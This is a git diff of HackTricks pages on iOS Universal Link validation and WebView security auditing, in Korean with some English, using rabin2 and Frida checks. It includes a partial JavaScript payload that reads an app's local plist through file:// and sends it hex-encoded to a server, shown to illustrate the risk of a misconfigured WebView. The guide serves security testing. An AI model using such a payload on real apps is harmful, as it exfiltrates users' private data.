앱은 Universal 링크를 올바르게 처리하기 위해 특정 메서드를 구현해야합니다. 찾아야 할 주요 메서드는 [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)입니다. 처리해야 하는 URL의 scheme이 HTTP 또는 HTTPS 여야하며, 다른 scheme은 지원되지 않습니다.
|
`apple-app-site-association` 파일은 권한에 지정된 도메인을 사용하여 서버에서 가져와야 합니다. 파일이 `https://<domain>/apple-app-site-association`에서 HTTPS를 통해 직접 접근 가능해야 합니다. [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)와 같은 도구가 이 과정에 도움이 될 수 있습니다.
|
||||||
|
|
||||||
#### **데이터 핸들러 메서드 유효성 검사**
|
### **앱에서의 유니버설 링크 처리**
|
||||||
|
|
||||||
Universal 링크가 앱을 열 때 `NSUserActivity` 객체가 URL과 함께 앱으로 전달됩니다. 이 URL을 처리하기 전에 보안 위험을 방지하기 위해 유효성을 검사하고 정리하는 것이 중요합니다. 다음은이 프로세스를 보여주는 Swift의 예시입니다:
|
앱은 유니버설 링크를 올바르게 처리하기 위해 특정 메서드를 구현해야 합니다. 주목해야 할 주요 메서드는 [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)입니다. 처리되는 URL의 스킴이 HTTP 또는 HTTPS여야 하며, 다른 스킴은 지원되지 않습니다.
|
||||||
|
|
||||||
|
#### **데이터 핸들러 메서드 검증**
|
||||||
|
|
||||||
|
유니버설 링크가 앱을 열면, `NSUserActivity` 객체가 URL과 함께 앱에 전달됩니다. 이 URL을 처리하기 전에 보안 위험을 방지하기 위해 이를 검증하고 정리하는 것이 필수적입니다. 다음은 이 과정을 보여주는 Swift 예제입니다:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||||
|
@ -54,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
URL은 특히 매개변수를 포함하는 경우 신중하게 구문 분석 및 유효성을 검사해야 하며 잠재적인 스푸핑 또는 잘못된 데이터에 대비해야 합니다. 이러한 목적으로 `NSURLComponents` API가 유용하며 아래에서 설명한 대로 사용할 수 있습니다:
|
URLs는 특히 매개변수를 포함하는 경우 잠재적인 스푸핑이나 잘못된 데이터로부터 보호하기 위해 신중하게 구문 분석되고 검증되어야 합니다. `NSURLComponents` API는 이를 위해 유용하며, 아래에 설명되어 있습니다:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication,
|
func application(_ application: UIApplication,
|
||||||
continue userActivity: NSUserActivity,
|
continue userActivity: NSUserActivity,
|
||||||
|
@ -80,28 +85,26 @@ return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
**노력하는 구성 및 유효성 검사**를 통해, 개발자는 유니버설 링크가 사용자 경험을 향상시키는 동시에 보안 및 개인 정보 보호 기준을 유지할 수 있도록 할 수 있습니다.
|
Through **부지런한 구성 및 검증**, developers can ensure that universal links enhance user experience while maintaining security and privacy standards.
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
* [GetUniversal.link](https://getuniversal.link/): Helps simplify the testing and management of your app's Universal Links and AASA file. Simply enter your domain to verify AASA file integrity or use the custom dashboard to easily test link behavior. This tool also helps you determine when Apple will next index your AASA file.
|
||||||
|
|
||||||
## 도구
|
## References
|
||||||
* [GetUniversal.link](https://getuniversal.link/): 앱의 유니버설 링크 및 AASA 파일의 테스트 및 관리를 간소화하는 데 도움이 됩니다. 도메인을 입력하여 AASA 파일 무결성을 확인하거나 링크 동작을 쉽게 테스트하기 위해 사용자 정의 대시보드를 사용할 수 있습니다. 또한 이 도구는 Apple이 다음으로 AASA 파일을 색인화할 때를 결정하는 데 도움을 줍니다.
|
|
||||||
|
|
||||||
## 참고 자료
|
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사가 HackTricks를 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,32 @@
|
||||||
# iOS 웹뷰
|
# iOS WebViews
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
이 페이지의 코드는 [여기](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)에서 추출되었습니다. 자세한 내용은 해당 페이지를 확인하세요.
|
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||||||
|
|
||||||
|
|
||||||
## 웹뷰 유형
|
## WebViews types
|
||||||
|
|
||||||
웹뷰는 애플리케이션 내에서 웹 콘텐츠를 대화식으로 표시하는 데 사용됩니다. iOS 애플리케이션에는 다양한 유형의 웹뷰가 있으며 다른 기능과 보안 기능을 제공합니다. 간단한 개요는 다음과 같습니다:
|
WebViews는 애플리케이션 내에서 웹 콘텐츠를 대화형으로 표시하는 데 사용됩니다. 다양한 유형의 WebViews는 iOS 애플리케이션에 대해 서로 다른 기능과 보안 기능을 제공합니다. 간략한 개요는 다음과 같습니다:
|
||||||
|
|
||||||
- **UIWebView**는 iOS 12 이후에 권장되지 않으며 **JavaScript**를 비활성화할 수 없어 스크립트 주입 및 **Cross-Site Scripting (XSS)** 공격에 취약합니다.
|
- **UIWebView**는 **JavaScript** 비활성화 지원 부족으로 인해 iOS 12 이후 더 이상 권장되지 않으며, 이는 스크립트 주입 및 **Cross-Site Scripting (XSS)** 공격에 취약합니다.
|
||||||
|
|
||||||
- **WKWebView**는 앱에 웹 콘텐츠를 통합하는 우선적인 옵션으로, 콘텐츠와 보안 기능에 대한 향상된 제어를 제공합니다. **JavaScript**는 기본적으로 활성화되어 있지만 필요한 경우 비활성화할 수 있습니다. 또한 자바스크립트가 자동으로 창을 열지 않도록하는 기능을 지원하며 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 또한 **WKWebView**의 아키텍처는 주요 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.
|
- **WKWebView**는 앱에 웹 콘텐츠를 통합하는 데 선호되는 옵션으로, 콘텐츠 및 보안 기능에 대한 향상된 제어를 제공합니다. **JavaScript**는 기본적으로 활성화되어 있지만 필요에 따라 비활성화할 수 있습니다. 또한 **JavaScript**가 자동으로 창을 여는 것을 방지하는 기능을 지원하며, 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 추가로, **WKWebView**의 아키텍처는 메인 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.
|
||||||
|
|
||||||
- **SFSafariViewController**는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. **WKWebView**와 달리 **SFSafariViewController**에서는 **JavaScript**를 비활성화할 수 없으며, 앱과 Safari가 쿠키와 데이터를 공유하여 사용자의 개인 정보를 유지합니다. App Store 가이드라인에 따라 눈에 잘 띄게 표시되어야 합니다.
|
- **SFSafariViewController**는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. **WKWebView**와 달리 **SFSafariViewController**에서는 **JavaScript**를 비활성화할 수 없으며, Safari와 쿠키 및 데이터를 공유하여 앱에서 사용자 프라이버시를 유지합니다. App Store 가이드라인에 따라 눈에 띄게 표시되어야 합니다.
|
||||||
```javascript
|
```javascript
|
||||||
// Example of disabling JavaScript in WKWebView:
|
// Example of disabling JavaScript in WKWebView:
|
||||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||||
|
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||||||
config.preferences = preferences;
|
config.preferences = preferences;
|
||||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||||
```
|
```
|
||||||
## 웹뷰 구성 탐색 요약
|
## WebViews 구성 탐색 요약
|
||||||
|
|
||||||
### **정적 분석 개요**
|
### **정적 분석 개요**
|
||||||
|
|
||||||
**웹뷰** 구성을 조사하는 과정에서 두 가지 주요 유형인 **UIWebView**와 **WKWebView**에 초점을 맞추고 있습니다. 바이너리 내에서 이러한 웹뷰를 식별하기 위해 특정 클래스 참조와 초기화 메서드를 검색하는 명령을 사용합니다.
|
**WebViews** 구성을 조사하는 과정에서 두 가지 주요 유형에 초점을 맞춥니다: **UIWebView**와 **WKWebView**. 이 WebViews를 바이너리 내에서 식별하기 위해 특정 클래스 참조 및 초기화 메서드를 검색하는 명령이 사용됩니다.
|
||||||
|
|
||||||
- **UIWebView 식별**
|
- **UIWebView 식별**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||||
```
|
```
|
||||||
이 명령은 이진 파일에서 관련된 텍스트 문자열을 검색하여 **UIWebView**의 인스턴스를 찾는 데 도움이 됩니다.
|
이 명령은 이진 파일에서 관련 텍스트 문자열을 검색하여 **UIWebView** 인스턴스를 찾는 데 도움이 됩니다.
|
||||||
|
|
||||||
- **WKWebView 식별**
|
- **WKWebView 식별**
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||||
```
|
```
|
||||||
마찬가지로, **WKWebView**에 대해서는 이 명령어가 해당 사용법을 나타내는 텍스트 문자열을 바이너리에서 검색합니다.
|
유사하게, **WKWebView**의 경우, 이 명령은 사용을 나타내는 텍스트 문자열을 이진 파일에서 검색합니다.
|
||||||
|
|
||||||
또한, **WKWebView**가 어떻게 초기화되는지 찾기 위해 다음 명령어가 실행되며, 초기화와 관련된 메서드 시그니처를 대상으로 합니다:
|
또한, **WKWebView**가 어떻게 초기화되는지 찾기 위해, 초기화와 관련된 메서드 시그니처를 대상으로 다음 명령이 실행됩니다:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||||||
```
|
```
|
||||||
#### **JavaScript 구성 확인**
|
#### **JavaScript 구성 확인**
|
||||||
|
|
||||||
**WKWebView**의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 좋은 방법이라고 강조되고 있습니다. 컴파일된 이진 파일을 검색하여 `javaScriptEnabled` 속성이 `false`로 설정되어 JavaScript가 비활성화되었는지 확인합니다.
|
**WKWebView**의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 모범 사례로 강조됩니다. 컴파일된 바이너리를 검색하여 `javaScriptEnabled` 속성이 `false`로 설정되어 있는지 확인하여 JavaScript가 비활성화되었는지 확인합니다:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||||||
```
|
```
|
||||||
#### **Only Secure Content Verification (보안 콘텐츠 확인)**
|
#### **오직 안전한 콘텐츠 검증**
|
||||||
|
|
||||||
**WKWebView**는 **UIWebView**와는 달리 혼합된 콘텐츠 문제를 식별하는 기능을 제공합니다. 이는 `hasOnlySecureContent` 속성을 사용하여 모든 페이지 리소스가 안전한 연결을 통해 로드되었는지 확인합니다. 컴파일된 이진 파일에서의 검색은 다음과 같이 수행됩니다:
|
**WKWebView**는 **UIWebView**와 대조적으로 혼합 콘텐츠 문제를 식별할 수 있는 기능을 제공합니다. 이는 모든 페이지 리소스가 안전한 연결을 통해 로드되도록 `hasOnlySecureContent` 속성을 사용하여 확인됩니다. 컴파일된 바이너리에서의 검색은 다음과 같이 수행됩니다:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||||||
```
|
```
|
||||||
### **동적 분석 통찰력**
|
### **동적 분석 통찰력**
|
||||||
|
|
||||||
동적 분석은 WebView 인스턴스와 해당 속성을 검사하는 것을 의미합니다. `webviews_inspector.js`라는 스크립트를 사용하여 `UIWebView`, `WKWebView` 및 `SFSafariViewController` 인스턴스를 대상으로 합니다. 이 스크립트는 URL 및 JavaScript 및 보안 콘텐츠와 관련된 설정과 함께 찾은 인스턴스에 대한 정보를 기록합니다.
|
동적 분석은 WebView 인스턴스와 그 속성을 검사하는 것을 포함합니다. 이를 위해 `webviews_inspector.js`라는 스크립트가 사용되며, `UIWebView`, `WKWebView`, 및 `SFSafariViewController` 인스턴스를 대상으로 합니다. 이 스크립트는 발견된 인스턴스에 대한 정보, URL 및 JavaScript와 보안 콘텐츠와 관련된 설정을 기록합니다.
|
||||||
|
|
||||||
힙 검사는 `ObjC.choose()`를 사용하여 WebView 인스턴스를 식별하고 `javaScriptEnabled` 및 `hasonlysecurecontent` 속성을 확인할 수 있습니다.
|
힙 검사는 `ObjC.choose()`를 사용하여 WebView 인스턴스를 식별하고 `javaScriptEnabled` 및 `hasonlysecurecontent` 속성을 확인하는 방식으로 수행할 수 있습니다.
|
||||||
|
|
||||||
{% code title="webviews_inspector.js" %}
|
{% code title="webviews_inspector.js" %}
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -121,30 +122,30 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
다음과 같이 스크립트가 실행됩니다:
|
스크립트는 다음과 같이 실행됩니다:
|
||||||
```bash
|
```bash
|
||||||
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||||
```
|
```
|
||||||
**주요 결과**:
|
**주요 결과**:
|
||||||
- WebView의 인스턴스를 성공적으로 찾고 검사합니다.
|
- WebView 인스턴스가 성공적으로 위치 확인되고 검사됨.
|
||||||
- JavaScript 활성화 및 안전한 콘텐츠 설정을 확인합니다.
|
- JavaScript 활성화 및 보안 콘텐츠 설정이 검증됨.
|
||||||
|
|
||||||
이 요약은 WebView 구성을 정적 및 동적 접근 방식을 통해 분석하는 데 관련된 중요한 단계와 명령을 요약한 것으로, JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 초점을 맞추고 있습니다.
|
이 요약은 JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 중점을 두고 정적 및 동적 접근 방식을 통해 WebView 구성 분석에 관련된 중요한 단계와 명령을 요약합니다.
|
||||||
|
|
||||||
## WebView 프로토콜 처리
|
## WebView 프로토콜 처리
|
||||||
|
|
||||||
WebView에서 콘텐츠를 처리하는 것은 특히 `http(s)://`, `file://`, `tel://`와 같은 다양한 프로토콜을 다룰 때 중요한 측면입니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 합니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일 이름이나 경로를 조작하거나 콘텐츠 자체를 편집하는 것을 방지하기 위해 주의가 필요합니다.
|
WebView에서 콘텐츠를 처리하는 것은 중요한 측면으로, `http(s)://`, `file://`, `tel://`와 같은 다양한 프로토콜을 다룰 때 특히 그렇습니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 해줍니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일의 이름이나 경로에 영향을 미치거나 콘텐츠 자체를 편집하지 못하도록 주의해야 한다는 점이 강조됩니다.
|
||||||
|
|
||||||
**WebViews**는 콘텐츠 로딩을 위해 다양한 메서드를 제공합니다. **UIWebView**는 현재 사용이 중단된 상태이지만, `loadHTMLString:baseURL:` 및 `loadData:MIMEType:textEncodingName:baseURL:`과 같은 메서드를 사용합니다. 반면 **WKWebView**는 웹 콘텐츠를 위해 `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` 및 `loadRequest:`를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 `pathForResource:ofType:`, `URLForResource:withExtension:`, `init(contentsOf:encoding:)`과 같은 메서드를 사용합니다. 특히 `loadFileURL:allowingReadAccessToURL:` 메서드는 WebView에 특정 URL이나 디렉토리를 로드할 수 있으며, 디렉토리가 지정된 경우 민감한 데이터가 노출될 수 있습니다.
|
**WebViews**는 콘텐츠 로딩을 위한 다양한 방법을 제공합니다. 이제 더 이상 사용되지 않는 **UIWebView**의 경우, `loadHTMLString:baseURL:` 및 `loadData:MIMEType:textEncodingName:baseURL:`와 같은 방법이 사용됩니다. 반면 **WKWebView**는 웹 콘텐츠를 위해 `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, 및 `loadRequest:`를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 `pathForResource:ofType:`, `URLForResource:withExtension:`, 및 `init(contentsOf:encoding:)`와 같은 방법이 활용됩니다. `loadFileURL:allowingReadAccessToURL:` 메서드는 특정 URL 또는 디렉토리를 WebView에 로드할 수 있는 능력으로 특히 주목할 만하며, 디렉토리가 지정될 경우 민감한 데이터가 노출될 수 있습니다.
|
||||||
|
|
||||||
이러한 메서드를 소스 코드나 컴파일된 이진 파일에서 찾으려면 다음과 같은 명령을 사용할 수 있습니다:
|
소스 코드나 컴파일된 바이너리에서 이러한 방법을 찾기 위해 다음과 같은 명령을 사용할 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||||||
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||||||
```
|
```
|
||||||
**파일 액세스**에 관해서, UIWebView는 일반적으로 허용하지만, WKWebView는 기본적으로 `allowFileAccessFromFileURLs`와 `allowUniversalAccessFromFileURLs` 설정을 도입하여 파일 URL로부터의 액세스를 관리합니다. 두 설정 모두 기본적으로 false로 설정되어 있습니다.
|
Regarding **file access**, UIWebView는 이를 보편적으로 허용하는 반면, WKWebView는 파일 URL에서의 접근을 관리하기 위해 `allowFileAccessFromFileURLs` 및 `allowUniversalAccessFromFileURLs` 설정을 도입하며, 두 설정 모두 기본값은 false입니다.
|
||||||
|
|
||||||
보안 설정을 위해 **WKWebView** 구성을 검사하는 Frida 스크립트 예제가 제공됩니다:
|
보안 설정을 검사하기 위한 **WKWebView** 구성의 Frida 스크립트 예제가 제공됩니다:
|
||||||
```bash
|
```bash
|
||||||
ObjC.choose(ObjC.classes['WKWebView'], {
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||||||
onMatch: function (wk) {
|
onMatch: function (wk) {
|
||||||
|
@ -162,7 +163,7 @@ console.log('done for WKWebView!');
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebView와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 16진수 형식으로 인코딩한 후 서버로 전송합니다. 이는 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
|
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebViews와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 헥스 형식으로 인코딩한 후 서버로 전송하여 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
|
||||||
```javascript
|
```javascript
|
||||||
String.prototype.hexEncode = function(){
|
String.prototype.hexEncode = function(){
|
||||||
var hex, i;
|
var hex, i;
|
||||||
|
@ -185,24 +186,24 @@ xhr2.send(null);
|
||||||
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||||||
xhr.send(null);
|
xhr.send(null);
|
||||||
```
|
```
|
||||||
## 웹뷰를 통해 노출된 네이티브 메서드
|
## Native Methods Exposed Through WebViews
|
||||||
|
|
||||||
## iOS에서 웹뷰 네이티브 인터페이스 이해하기
|
## Understanding WebView Native Interfaces in iOS
|
||||||
|
|
||||||
iOS 7부터 Apple은 **웹뷰 내의 JavaScript와 네이티브** Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
|
iOS 7부터 Apple은 **WebView의 JavaScript와 네이티브** Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
|
||||||
|
|
||||||
- **JSContext**: Swift 또는 Objective-C 블록이 `JSContext` 내의 식별자에 연결될 때 자동으로 JavaScript 함수가 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합과 통신이 가능해집니다.
|
- **JSContext**: Swift 또는 Objective-C 블록이 `JSContext` 내의 식별자에 연결될 때 JavaScript 함수가 자동으로 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합 및 통신이 가능합니다.
|
||||||
- **JSExport 프로토콜**: `JSExport` 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출시킬 수 있습니다. 이는 JavaScript 환경에서 수행된 변경 사항이 네이티브 환경에 반영되고 그 반대도 가능함을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 무심코 노출되지 않도록 주의해야 합니다.
|
- **JSExport Protocol**: `JSExport` 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출할 수 있습니다. 이는 JavaScript 환경에서 이루어진 모든 변경 사항이 네이티브 환경에 반영되고 그 반대도 마찬가지임을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 우발적으로 노출되지 않도록 하는 것이 중요합니다.
|
||||||
|
|
||||||
### Objective-C에서 `JSContext`에 접근하기
|
### Accessing `JSContext` in Objective-C
|
||||||
|
|
||||||
Objective-C에서 `UIWebView`의 `JSContext`는 다음 코드로 검색할 수 있습니다:
|
Objective-C에서 `UIWebView`의 `JSContext`는 다음 코드 한 줄로 검색할 수 있습니다:
|
||||||
```objc
|
```objc
|
||||||
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||||||
```
|
```
|
||||||
### `WKWebView`과의 통신
|
### Communication with `WKWebView`
|
||||||
|
|
||||||
`WKWebView`에서는 `JSContext`에 직접적인 접근이 불가능합니다. 대신, `postMessage` 함수를 통해 메시지 전달이 이루어지며, 이를 통해 JavaScript와 네이티브 간의 통신이 가능해집니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되며, 이를 통해 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있습니다:
|
`WKWebView`의 경우, `JSContext`에 직접 접근할 수 없습니다. 대신, JavaScript와 네이티브 간의 통신을 가능하게 하는 `postMessage` 함수를 통해 메시지 전달이 사용됩니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되어, JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있도록 합니다:
|
||||||
```swift
|
```swift
|
||||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||||
